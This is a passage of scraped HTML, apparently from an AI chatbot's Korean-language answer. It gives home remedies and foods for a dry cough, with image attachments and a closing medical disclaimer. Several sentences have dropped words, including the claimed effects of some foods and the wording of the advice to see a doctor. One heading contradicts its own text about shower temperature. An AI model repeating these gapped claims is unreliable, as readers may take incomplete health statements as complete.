src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRH0jmZp5STfdj8P-dQ7HdpOvqjetipp3KG0W3PObhQBUiMhByEMiy_BW7TcTtdFDdcoWRr-5orxO77TXdxn6aj_SoWjBFBE6V_"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">m.e-himart.co.kr</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 가습기 </div></div></single-image></response-element></div></li> <li data-sourcepos="19:1-20:16"><strong>따뜻한 차 마시기:</strong> 생강차, 유자차, 도라지차 등 따뜻한 차는 목을 진정시키고 기침을 완화하는 데 도움이 됩니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_3fd043db5a0d2533","c_c53c9dea0de9425d",null,"rc_bd17dda5f851c418",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.trend-korea.co.kr/news/articleView.html?idxno=165"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="따뜻한 차 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTNPqRH_4TnWW81RAX_c2SF6EnJDACxsBA0Vm_8cwIe8A_l9ndj_AVIjEqxeUV6"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://.trend-korea.co.kr/news/articleView.html?idxno=165" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_3fd043db5a0d2533","c_c53c9dea0de9425d",null,"rc_bd17dda5f851c418",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQnsTEUQgznqC4kLG8NQC_wH7fbm8rm3wdoy4duGuxfv6t0B0v38C_huaSr06wRVPUHCQFmGMa_a5XDZUjWPkdqq4Bkr7LygOWou_mPGBPJ"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">.trend-korea.co.kr</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 따뜻한 차 </div></div></single-image></response-element></div></li> <li data-sourcepos="21:1-22:15"><strong>따뜻한 찜질:</strong> 목 부위에 따뜻한 수건으로 찜질을 하면 혈액순환을 촉진하고 통증을 완화합니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_3fd043db5a0d2533","c_c53c9dea0de9425d",null,"rc_bd17dda5f851c418",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://m.chairmart.co.kr/product/bother01-%EB%B3%B4%EC%98%A8-%EB%AA%A9%EC%B0%9C%EC%A7%88-%EB%AC%BC%EC%A3%BC%EB%A8%B8%EB%8B%88-%EC%98%A8%EC%B0%9C%EC%A7%88/3653/"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="목 찜질 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTkxxTJch5Pe4QFKNdBGU9gXqd6F83WUVRvzv0daNeUBqFCWmwgUJFAsMKdzfNs"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://m.chairmart.co.kr/product/bother01-%EB%B3%B4%EC%98%A8-%EB%AA%A9%EC%B0%9C%EC%A7%88-%EB%AC%BC%EC%A3%BC%EB%A8%B8%EB%8B%88-%EC%98%A8%EC%B0%9C%EC%A7%88/3653/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_3fd043db5a0d2533","c_c53c9dea0de9425d",null,"rc_bd17dda5f851c418",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTtv132Hyuy1Dm5MxvKqlLh3xXhDbhMJYrLJXOXBvLlhrMM1wBYToDZVWIVxPcoE__oYKLuthPwQPNgZ42wPWKJe1aexG58GuiajG8"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">m.chairmart.co.kr</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 목 찜질 </div></div></single-image></response-element></div></li> <li data-sourcepos="23:1-23:45"><strong>금연 및 음주 자제:</strong> 흡연과 음주는 기침을 악화시키므로 삼가야 합니다.</li> <li data-sourcepos="24:1-24:56"><strong>따뜻한 물로 샤워:</strong> 뜨거운 물은 기관지를 자극하므로 미지근한 물로 샤워하는 것이 좋습니다.</li> <li data-sourcepos="25:1-26:0"><strong>충분한 휴식:</strong> 숙면을 취하고 스트레스를 관리하는 것이 중요합니다.</li> </ul><h3 data-sourcepos="27:1-27:16">마른 기침에 좋은 음식</h3><ul data-sourcepos="29:1-37:0"> <li data-sourcepos="29:1-30:14"><strong>도라지:</strong> 폐를 맑게 하고 기침을 완화하는 가 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_3fd043db5a0d2533","c_c53c9dea0de9425d",null,"rc_bd17dda5f851c418",null,null,"ko",null,null,null,null,1,0]];mutable:true" ://m.ikunkang.com/news/articleView.html?idxno=32588"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="도라지 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcS4QAo8LFc0UFD4GmDXxw_UiS0hufSqcOA5YoFWAih0nsoELbfaHF_g-aSj_J6e"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" ://m.ikunkang.com/news/articleView.html?idxno=32588" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_3fd043db5a0d2533","c_c53c9dea0de9425d",null,"rc_bd17dda5f851c418",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTDyX3t03lSBlBGOI9ne7jx1LChUX20zZIMoUBJhdE0EhFSZ4Dr-3bNE3WmN-IgAxNNFRNBrpPr_LORlUM6KvC-1Tg-CQirqA"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">m.ikunkang.com</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 도라지 </div></div></single-image></response-element></div></li> <li data-sourcepos="31:1-32:12"><strong>배:</strong> 열을 내리고 기침을 멈추는 가 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_3fd043db5a0d2533","c_c53c9dea0de9425d",null,"rc_bd17dda5f851c418",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://hub.zum.com/daily/%EC%8B%9C%EC%9B%90%ED%95%98%EA%B3%A0-%EB%8B%AC%EC%BD%A4%ED%95%9C-%EB%B0%B0%EB%A5%BC-%ED%99%9C%EC%9A%A9%ED%95%9C-%EB%B0%B0%EC%9A%94%EB%A6%AC-%EC%B6%94%EC%B2%9C-15812"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="배 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQ9VL_x6PceQ7iJHtIjXQjZ0F4PseHqMZCTbxvlVwqtGARTmpWByOGxHXhBisFF"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://hub.zum.com/daily/%EC%8B%9C%EC%9B%90%ED%95%98%EA%B3%A0-%EB%8B%AC%EC%BD%A4%ED%95%9C-%EB%B0%B0%EB%A5%BC-%ED%99%9C%EC%9A%A9%ED%95%9C-%EB%B0%B0%EC%9A%94%EB%A6%AC-%EC%B6%94%EC%B2%9C-15812" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_3fd043db5a0d2533","c_c53c9dea0de9425d",null,"rc_bd17dda5f851c418",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcT_PcDjFdANCwZ21hVePZG210G16RKk6JpfrV985T-8SAKDVZnr1G8U7M-b6YqgyadKL0YcQugg9_NfhiO5XiYfng3u8Kc"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">hub.zum.com</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 배 </div></div></single-image></response-element></div></li> <li data-sourcepos="33:1-34:12"><strong>꿀:</strong> 목을 진정시키고 기침을 완화하는 데 도움이 됩니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_3fd043db5a0d2533","c_c53c9dea0de9425d",null,"rc_bd17dda5f851c418",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EA%BF%80"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="꿀 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcT_VsXwARjP4JEUBKlwK7W65V6u8Pn_7skaYdSAle7cnZcCrPyuu3ptBRKIeAwz"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EA%BF%80" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_3fd043db5a0d2533","c_c53c9dea0de9425d",null,"rc_bd17dda5f851c418",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 꿀 </div></div></single-image></response-element></div></li> <li data-sourcepos="35:1-37:0"><strong>무:</strong> 기침과 가래를 완화하는 가 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_3fd043db5a0d2533","c_c53c9dea0de9425d",null,"rc_bd17dda5f851c418",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EB%AC%B4(%EC%B1%84%EC%86%8C)"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="무 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTv7GQ3UayCK26yjEVfN94FuICm_0g-q2yocQ5ZyGpQUxgcIIQHYjgWPRjRrr3I"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EB%AC%B4(%EC%B1%84%EC%86%8C)" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_3fd043db5a0d2533","c_c53c9dea0de9425d",null,"rc_bd17dda5f851c418",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 무 </div></div></single-image></response-element></div></li> </ul><p data-sourcepos="38:1-38:69"><strong>주의:</strong> 마른 기침이 심하거나 오래 지속된다면 반드시 병원을 방문하여 한 진단을 받고 를 받는 것이 중요합니다.</p><p data-sourcepos="40:1-40:86"><strong>Disclaimer:</strong> 이 정보는 일반적인 건강 정보이며, 개인의 건강 상태에 따라 적용될 수 있습니다. 의료 전문가의 진료를 대체할 수 없습니다.</p><p data-sourcepos="42:1-42:28"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p></div> </div></div>